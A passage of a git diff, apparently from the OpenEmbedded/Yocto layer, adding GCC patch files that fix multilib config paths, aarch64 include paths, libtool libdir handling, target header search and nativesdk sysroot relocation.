+ /* At this point, bpabi.h will have clobbered LINK_SPEC. We want to
+ use the GNU/Linux version, not the generic BPABI version. */
+ #undef LINK_SPEC
+-#define LINK_SPEC EABI_LINK_SPEC \
++#define LINK_SPEC TARGET_FIX_V4BX_SPEC EABI_LINK_SPEC \
+ LINUX_OR_ANDROID_LD (LINUX_TARGET_LINK_SPEC, \
+ LINUX_TARGET_LINK_SPEC " " ANDROID_LINK_SPEC)
+
diff --git a/meta/recipes-devtools/gcc/gcc/0010-Use-the-multilib-config-files-from-B-instead-of-usin.patch b/meta/recipes-devtools/gcc/gcc/0010-Use-the-multilib-config-files-from-B-instead-of-usin.patch
new file mode 100644
index 0000000000..bc3943087c
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0010-Use-the-multilib-config-files-from-B-instead-of-usin.patch
@@ -0,0 +1,99 @@
+From b015460586e2ea8a35a11d1a607728707bdf6509 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 29 Mar 2013 09:33:04 +0400
+Subject: [PATCH] Use the multilib config files from ${B} instead of using the
+ ones from ${S}
+
+Use the multilib config files from ${B} instead of using the ones from ${S}
+so that the source can be shared between gcc-cross-initial,
+gcc-cross-intermediate, gcc-cross, gcc-runtime, and also the sdk build.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
+
+Upstream-Status: Inappropriate [configuration]
+---
+ gcc/configure | 22 ++++++++++++++++++----
+ gcc/configure.ac | 22 ++++++++++++++++++----
+ 2 files changed, 36 insertions(+), 8 deletions(-)
+
+diff --git a/gcc/configure b/gcc/configure
+index cf773a8b854..448a1ec093e 100755
+--- a/gcc/configure
++++ b/gcc/configure
+@@ -13487,10 +13487,20 @@ done
+ tmake_file_=
+ for f in ${tmake_file}
+ do
+- if test -f ${srcdir}/config/$f
+- then
+- tmake_file_="${tmake_file_} \$(srcdir)/config/$f"
+- fi
++ case $f in
++ */t-linux64 )
++ if test -f ./config/$f
++ then
++ tmake_file_="${tmake_file_} ./config/$f"
++ fi
++ ;;
++ * )
++ if test -f ${srcdir}/config/$f
++ then
++ tmake_file_="${tmake_file_} \$(srcdir)/config/$f"
++ fi
++ ;;
++ esac
+ done
+ tmake_file="${tmake_file_}${omp_device_property_tmake_file}"
+
+@@ -13501,6 +13511,10 @@ tm_file_list="options.h"
+ tm_include_list="options.h insn-constants.h"
+ for f in $tm_file; do
+ case $f in
++ */linux64.h )
++ tm_file_list="${tm_file_list} ./config/$f"
++ tm_include_list="${tm_include_list} ./config/$f"
++ ;;
+ ./* )
+ f=`echo $f | sed 's/^..//'`
+ tm_file_list="${tm_file_list} $f"
+diff --git a/gcc/configure.ac b/gcc/configure.ac
+index 22591478b72..b6e7f5149a7 100644
+--- a/gcc/configure.ac
++++ b/gcc/configure.ac
+@@ -2337,10 +2337,20 @@ done
+ tmake_file_=
+ for f in ${tmake_file}
+ do
+- if test -f ${srcdir}/config/$f
+- then
+- tmake_file_="${tmake_file_} \$(srcdir)/config/$f"
+- fi
++ case $f in
++ */t-linux64 )
++ if test -f ./config/$f
++ then
++ tmake_file_="${tmake_file_} ./config/$f"
++ fi
++ ;;
++ * )
++ if test -f ${srcdir}/config/$f
++ then
++ tmake_file_="${tmake_file_} \$(srcdir)/config/$f"
++ fi
++ ;;
++ esac
+ done
+ tmake_file="${tmake_file_}${omp_device_property_tmake_file}"
+
+@@ -2351,6 +2361,10 @@ tm_file_list="options.h"
+ tm_include_list="options.h insn-constants.h"
+ for f in $tm_file; do
+ case $f in
++ */linux64.h )
++ tm_file_list="${tm_file_list} ./config/$f"
++ tm_include_list="${tm_include_list} ./config/$f"
++ ;;
+ ./* )
+ f=`echo $f | sed 's/^..//'`
+ tm_file_list="${tm_file_list} $f"
diff --git a/meta/recipes-devtools/gcc/gcc/0011-aarch64-Fix-include-paths-when-S-B.patch b/meta/recipes-devtools/gcc/gcc/0011-aarch64-Fix-include-paths-when-S-B.patch
new file mode 100644
index 0000000000..974aca5ee4
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0011-aarch64-Fix-include-paths-when-S-B.patch
@@ -0,0 +1,55 @@
+From b7ce05b2d969b311c6061bda32c3117c76bf7e0c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 31 Jan 2023 22:03:38 -0800
+Subject: [PATCH] aarch64: Fix include paths when S != B
+
+aarch64.h gets copied into build directory when built out of tree, in
+this case build uses this file but does not find the includes inside it
+since they are not found in any of include paths specified in compiler
+cmdline.
+
+Fixes build errors like
+
+% g++ -c -isystem/mnt/b/yoe/master/build/tmp/work/x86_64-linux/gcc-cross-aarch64/13.0.1-r0/recipe-sysroot-native/usr/include -O2 -pipe -DIN_GCC -DCROSS_DIRECTORY_STRUCTURE -fno-exceptions -fno-rtti -fasynchronous-unwind-tables -W -Wall -Wno-narrowing -Wwrite-strings -Wcast-qual -Wmissing-format-attribute -Wconditionally-supported -Woverloaded-virtual -pedantic -Wno-long-long -Wno-variadic-macros -Wno-overlength-strings -DHAVE_CONFIG_H -DGENERATOR_FILE -I. -Ibuild -I../../../../../../../work-shared/gcc-13.0.1-r0/gcc-b2ec2504af77b35e748067eeb846821d12a6b6b4/gcc -I../../../../../../../work-shared/gcc-13.0.1-r0/gcc-b2ec2504af77b35e748067eeb846821d12a6b6b4/gcc/build -I../../../../../../../work-shared/gcc-13.0.1-r0/gcc-b2ec2504af77b35e748067eeb846821d12a6b6b4/gcc/../include -I../../../../../../../work-shared/gcc-13.0.1-r0/gcc-b2ec2504af77b35e748067eeb846821d12a6b6b4/gcc/../libcpp/include -o build/gencheck.o ../../../../../../../work-shared/gcc-13.0.1-r0/gcc-b2ec2504af77b35e748067eeb846821d12a6b6b4/gcc/gencheck.cc
+In file included from ./tm.h:34,
+ from ../../../../../../../work-shared/gcc-13.0.1-r0/gcc-b2ec2504af77b35e748067eeb846821d12a6b6b4/gcc/gencheck.cc:23:
+./config/aarch64/aarch64.h:164:10: fatal error: aarch64-option-extensions.def: No such file or directory
+ 164 | #include "aarch64-option-extensions.def"
+ | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+compilation terminated.
+
+See https://gcc.gnu.org/bugzilla/show_bug.cgi?id=105144
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/config/aarch64/aarch64.h | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index 73b09e20508..10ea3672f20 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -161,8 +161,8 @@
+ enum class aarch64_feature : unsigned char {
+ #define AARCH64_OPT_EXTENSION(A, IDENT, C, D, E, F) IDENT,
+ #define AARCH64_ARCH(A, B, IDENT, D, E) IDENT,
+-#include "aarch64-option-extensions.def"
+-#include "aarch64-arches.def"
++#include "config/aarch64/aarch64-option-extensions.def"
++#include "config/aarch64/aarch64-arches.def"
+ };
+
+ /* Define unique flags for each of the above. */
+@@ -171,8 +171,8 @@ enum class aarch64_feature : unsigned char {
+ = aarch64_feature_flags (1) << int (aarch64_feature::IDENT);
+ #define AARCH64_OPT_EXTENSION(A, IDENT, C, D, E, F) HANDLE (IDENT)
+ #define AARCH64_ARCH(A, B, IDENT, D, E) HANDLE (IDENT)
+-#include "aarch64-option-extensions.def"
+-#include "aarch64-arches.def"
++#include "config/aarch64/aarch64-option-extensions.def"
++#include "config/aarch64/aarch64-arches.def"
+ #undef HANDLE
+
+ #endif
diff --git a/meta/recipes-devtools/gcc/gcc/0012-Avoid-using-libdir-from-.la-which-usually-points-to-.patch b/meta/recipes-devtools/gcc/gcc/0012-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
new file mode 100644
index 0000000000..cf5efcd32d
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0012-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
@@ -0,0 +1,28 @@
+From 39ab6fe76f2788b2c989d29c9016f1fe53cb736e Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 20 Feb 2015 09:39:38 +0000
+Subject: [PATCH] Avoid using libdir from .la which usually points to a host
+ path
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Jonathan Liu <net147@gmail.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ltmain.sh | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/ltmain.sh b/ltmain.sh
+index ee938056bef..9ebc7e3d1e0 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -5628,6 +5628,9 @@ func_mode_link ()
+ absdir="$abs_ladir"
+ libdir="$abs_ladir"
+ else
++ # Instead of using libdir from .la which usually points to a host path,
++ # use the path the .la is contained in.
++ libdir="$abs_ladir"
+ dir="$libdir"
+ absdir="$libdir"
+ fi
diff --git a/meta/recipes-devtools/gcc/gcc/0013-Ensure-target-gcc-headers-can-be-included.patch b/meta/recipes-devtools/gcc/gcc/0013-Ensure-target-gcc-headers-can-be-included.patch
new file mode 100644
index 0000000000..e2343a3c17
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0013-Ensure-target-gcc-headers-can-be-included.patch
@@ -0,0 +1,113 @@
+From 531b9df680c4380797e8e7705a8e7f8ed17ebe68 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 20 Feb 2015 10:25:11 +0000
+Subject: [PATCH] Ensure target gcc headers can be included
+
+There are a few headers installed as part of the OpenEmbedded
+gcc-runtime target (omp.h, ssp/*.h). Being installed from a recipe
+built for the target architecture, these are within the target
+sysroot and not cross/nativesdk; thus they weren't able to be
+found by gcc with the existing search paths. Add support for
+picking up these headers under the sysroot supplied on the gcc
+command line in order to resolve this.
+
+Extend target gcc headers search to musl too
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/Makefile.in | 2 ++
+ gcc/config/linux.h | 8 ++++++++
+ gcc/config/rs6000/sysv4.h | 8 ++++++++
+ gcc/cppdefault.cc | 4 ++++
+ 4 files changed, 22 insertions(+)
+
+diff --git a/gcc/Makefile.in b/gcc/Makefile.in
+index 04f28984b34..8ef996c0f4d 100644
+--- a/gcc/Makefile.in
++++ b/gcc/Makefile.in
+@@ -640,6 +640,7 @@ libexecdir = @libexecdir@
+
+ # Directory in which the compiler finds libraries etc.
+ libsubdir = $(libdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
++libsubdir_target = $(target_noncanonical)/$(version)
+ # Directory in which the compiler finds executables
+ libexecsubdir = $(libexecdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
+ # Directory in which all plugin resources are installed
+@@ -3059,6 +3060,7 @@ CFLAGS-intl.o += -DLOCALEDIR=\"$(localedir)\"
+
+ PREPROCESSOR_DEFINES = \
+ -DGCC_INCLUDE_DIR=\"$(libsubdir)/include\" \
++ -DGCC_INCLUDE_SUBDIR_TARGET=\"$(libsubdir_target)/include\" \
+ -DFIXED_INCLUDE_DIR=\"$(libsubdir)/include-fixed\" \
+ -DGPLUSPLUS_INCLUDE_DIR=\"$(gcc_gxx_include_dir)\" \
+ -DGPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT=$(gcc_gxx_include_dir_add_sysroot) \
+diff --git a/gcc/config/linux.h b/gcc/config/linux.h
+index 6491c6b84f5..57496ff1f2f 100644
+--- a/gcc/config/linux.h
++++ b/gcc/config/linux.h
+@@ -157,6 +157,13 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
++#ifdef GCC_INCLUDE_SUBDIR_TARGET
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
++ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++#else
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
++#endif
++
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+@@ -183,6 +190,7 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ INCLUDE_DEFAULTS_MUSL_PREFIX \
+ INCLUDE_DEFAULTS_MUSL_CROSS \
+ INCLUDE_DEFAULTS_MUSL_TOOL \
++ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+diff --git a/gcc/config/rs6000/sysv4.h b/gcc/config/rs6000/sysv4.h
+index 26db003cb3a..3a443abcf6b 100644
+--- a/gcc/config/rs6000/sysv4.h
++++ b/gcc/config/rs6000/sysv4.h
+@@ -986,6 +986,13 @@ ncrtn.o%s"
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
++#ifdef GCC_INCLUDE_SUBDIR_TARGET
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
++ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++#else
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
++#endif
++
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+@@ -1012,6 +1019,7 @@ ncrtn.o%s"
+ INCLUDE_DEFAULTS_MUSL_PREFIX \
+ INCLUDE_DEFAULTS_MUSL_CROSS \
+ INCLUDE_DEFAULTS_MUSL_TOOL \
++ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+diff --git a/gcc/cppdefault.cc b/gcc/cppdefault.cc
+index 141bb4d25f6..734590a7059 100644
+--- a/gcc/cppdefault.cc
++++ b/gcc/cppdefault.cc
+@@ -64,6 +64,10 @@ const struct default_include cpp_include_defaults[]
+ /* This is the dir for gcc's private headers. */
+ { GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
+ #endif
++#ifdef GCC_INCLUDE_SUBDIR_TARGET
++ /* This is the dir for gcc's private headers under the specified sysroot. */
++ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0 },
++#endif
+ #ifdef LOCAL_INCLUDE_DIR
+ /* /usr/local/include comes before the fixincluded header files. */
+ { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 },
diff --git a/meta/recipes-devtools/gcc/gcc/0014-Don-t-search-host-directory-during-relink-if-inst_pr.patch b/meta/recipes-devtools/gcc/gcc/0014-Don-t-search-host-directory-during-relink-if-inst_pr.patch
new file mode 100644
index 0000000000..30224d7485
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0014-Don-t-search-host-directory-during-relink-if-inst_pr.patch
@@ -0,0 +1,35 @@
+From 793201cebfeb129f6f263e64310b30a0ffa48895 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 3 Mar 2015 08:21:19 +0000
+Subject: [PATCH] Don't search host directory during "relink" if $inst_prefix
+ is provided
+
+http://lists.gnu.org/archive/html/libtool-patches/2011-01/msg00026.html
+
+Upstream-Status: Submitted
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ltmain.sh | 5 +++--
+ 1 file changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/ltmain.sh b/ltmain.sh
+index 9ebc7e3d1e0..7ea79fa8be6 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -6004,12 +6004,13 @@ func_mode_link ()
+ fi
+ else
+ # We cannot seem to hardcode it, guess we'll fake it.
++ # Default if $libdir is not relative to the prefix:
+ add_dir="-L$libdir"
+- # Try looking first in the location we're being installed to.
++
+ if test -n "$inst_prefix_dir"; then
+ case $libdir in
+ [\\/]*)
+- add_dir="$add_dir -L$inst_prefix_dir$libdir"
++ add_dir="-L$inst_prefix_dir$libdir"
+ ;;
+ esac
+ fi
diff --git a/meta/recipes-devtools/gcc/gcc/0015-libcc1-fix-libcc1-s-install-path-and-rpath.patch b/meta/recipes-devtools/gcc/gcc/0015-libcc1-fix-libcc1-s-install-path-and-rpath.patch
new file mode 100644
index 0000000000..33c601ac97
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0015-libcc1-fix-libcc1-s-install-path-and-rpath.patch
@@ -0,0 +1,51 @@
+From 5de63874335c1c673dd132f6aca00dc13f1eac51 Mon Sep 17 00:00:00 2001
+From: Robert Yang <liezhi.yang@windriver.com>
+Date: Sun, 5 Jul 2015 20:25:18 -0700
+Subject: [PATCH] libcc1: fix libcc1's install path and rpath
+
+* Install libcc1.so and libcc1plugin.so into
+ $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version), as what we
+ had done to lto-plugin.
+* Fix bad RPATH iussue:
+ gcc-5.2.0: package gcc-plugins contains bad RPATH /patht/to/tmp/sysroots/qemux86-64/usr/lib64/../lib64 in file
+ /path/to/gcc/5.2.0-r0/packages-split/gcc-plugins/usr/lib64/gcc/x86_64-poky-linux/5.2.0/plugin/libcc1plugin.so.0.0.0
+ [rpaths]
+
+Upstream-Status: Inappropriate [OE configuration]
+
+Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+---
+ libcc1/Makefile.am | 4 ++--
+ libcc1/Makefile.in | 4 ++--
+ 2 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/libcc1/Makefile.am b/libcc1/Makefile.am
+index 921a33fe236..938e6f964cd 100644
+--- a/libcc1/Makefile.am
++++ b/libcc1/Makefile.am
+@@ -40,8 +40,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
+ $(Wc)$(libiberty_normal)))
+ libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
+
+-plugindir = $(libdir)/gcc/$(target_noncanonical)/$(gcc_version)/plugin
+-cc1libdir = $(libdir)/$(libsuffix)
++cc1libdir = $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version)
++plugindir = $(cc1libdir)
+
+ if ENABLE_PLUGIN
+ plugin_LTLIBRARIES = libcc1plugin.la libcp1plugin.la
+diff --git a/libcc1/Makefile.in b/libcc1/Makefile.in
+index f8f590d71e9..56462492045 100644
+--- a/libcc1/Makefile.in
++++ b/libcc1/Makefile.in
+@@ -396,8 +396,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
+ $(Wc)$(libiberty_normal)))
+
+ libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
+-plugindir = $(libdir)/gcc/$(target_noncanonical)/$(gcc_version)/plugin
+-cc1libdir = $(libdir)/$(libsuffix)
++cc1libdir = $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version)
++plugindir = $(cc1libdir)
+ @ENABLE_PLUGIN_TRUE@plugin_LTLIBRARIES = libcc1plugin.la libcp1plugin.la
+ @ENABLE_PLUGIN_TRUE@cc1lib_LTLIBRARIES = libcc1.la
+ shared_source = callbacks.cc callbacks.hh connection.cc connection.hh \
diff --git a/meta/recipes-devtools/gcc/gcc/0016-handle-sysroot-support-for-nativesdk-gcc.patch b/meta/recipes-devtools/gcc/gcc/0016-handle-sysroot-support-for-nativesdk-gcc.patch
new file mode 100644
index 0000000000..bdffcae7dc
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0016-handle-sysroot-support-for-nativesdk-gcc.patch
@@ -0,0 +1,514 @@
+From bbc75b93bff66891fa7ffb3af5c6ad53df1fff68 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 7 Dec 2015 23:39:54 +0000
+Subject: [PATCH] handle sysroot support for nativesdk-gcc
+
+Being able to build a nativesdk gcc is useful, particularly in cases
+where the host compiler may be of an incompatible version (or a 32
+bit compiler is needed).
+
+Sadly, building nativesdk-gcc is not straight forward. We install
+nativesdk-gcc into a relocatable location and this means that its
+library locations can change. "Normal" sysroot support doesn't help
+in this case since the values of paths like "libdir" change, not just
+base root directory of the system.
+
+In order to handle this we do two things:
+
+a) Add %r into spec file markup which can be used for injected paths
+ such as SYSTEMLIBS_DIR (see gcc_multilib_setup()).
+b) Add other paths which need relocation into a .gccrelocprefix section
+ which the relocation code will notice and adjust automatically.
+
+Upstream-Status: Inappropriate
+RP 2015/7/28
+
+Extend the gccrelocprefix support to musl config too, this ensures
+that gcc will get right bits in SDK installations
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+Added PREFIXVAR and EXEC_PREFIXVAR to support runtime relocation. Without
+these as part of the gccrelocprefix the system can't do runtime relocation
+if the executable is moved. (These paths were missed in the original
+implementation.)
+
+Signed-off-by: Mark Hatle <mark.hatle@kernel.crashing.org>
+---
+ gcc/c-family/c-opts.cc | 4 +--
+ gcc/config/linux.h | 24 +++++++--------
+ gcc/config/rs6000/sysv4.h | 24 +++++++--------
+ gcc/cppdefault.cc | 65 ++++++++++++++++++++++++---------------
+ gcc/cppdefault.h | 13 +++-----
+ gcc/gcc.cc | 20 ++++++++----
+ gcc/incpath.cc | 12 ++++----
+ gcc/prefix.cc | 6 ++--
+ 8 files changed, 95 insertions(+), 73 deletions(-)
+
+diff --git a/gcc/c-family/c-opts.cc b/gcc/c-family/c-opts.cc
+index c68a2a27469..77e9b5eceaa 100644
+--- a/gcc/c-family/c-opts.cc
++++ b/gcc/c-family/c-opts.cc
+@@ -1458,8 +1458,8 @@ add_prefixed_path (const char *suffix, incpath_kind chain)
+ size_t prefix_len, suffix_len;
+
+ suffix_len = strlen (suffix);
+- prefix = iprefix ? iprefix : cpp_GCC_INCLUDE_DIR;
+- prefix_len = iprefix ? strlen (iprefix) : cpp_GCC_INCLUDE_DIR_len;
++ prefix = iprefix ? iprefix : GCC_INCLUDE_DIRVAR;
++ prefix_len = iprefix ? strlen (iprefix) : strlen(GCC_INCLUDE_DIRVAR) - 7;
+
+ path = (char *) xmalloc (prefix_len + suffix_len + 1);
+ memcpy (path, prefix, prefix_len);
+diff --git a/gcc/config/linux.h b/gcc/config/linux.h
+index 57496ff1f2f..c921cf6ef63 100644
+--- a/gcc/config/linux.h
++++ b/gcc/config/linux.h
+@@ -121,53 +121,53 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ * Unfortunately, this is mostly duplicated from cppdefault.cc */
+ #if DEFAULT_LIBC == LIBC_MUSL
+ #define INCLUDE_DEFAULTS_MUSL_GPP \
+- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 }, \
+- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 }, \
+- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+
+ #ifdef LOCAL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 }, \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 }, \
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL
+ #endif
+
+ #ifdef PREFIX_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX \
+- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0},
++ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX
+ #endif
+
+ #ifdef CROSS_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_CROSS \
+- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0},
++ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_CROSS
+ #endif
+
+ #ifdef TOOL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_TOOL \
+- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0},
++ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
+ #ifdef GCC_INCLUDE_SUBDIR_TARGET
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
+ #endif
+
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 0 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 2 }, \
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE
+ #endif
+@@ -192,7 +192,7 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ INCLUDE_DEFAULTS_MUSL_TOOL \
+ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
++ { GCC_INCLUDE_DIRVAR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+ }
+ #endif
+diff --git a/gcc/config/rs6000/sysv4.h b/gcc/config/rs6000/sysv4.h
+index 3a443abcf6b..ef83a5a432e 100644
+--- a/gcc/config/rs6000/sysv4.h
++++ b/gcc/config/rs6000/sysv4.h
+@@ -950,53 +950,53 @@ ncrtn.o%s"
+ /* Include order changes for musl, same as in generic linux.h. */
+ #if DEFAULT_LIBC == LIBC_MUSL
+ #define INCLUDE_DEFAULTS_MUSL_GPP \
+- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 }, \
+- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 }, \
+- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+
+ #ifdef LOCAL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 }, \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 }, \
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL
+ #endif
+
+ #ifdef PREFIX_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX \
+- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0},
++ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX
+ #endif
+
+ #ifdef CROSS_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_CROSS \
+- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0},
++ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_CROSS
+ #endif
+
+ #ifdef TOOL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_TOOL \
+- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0},
++ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0},
+ #else
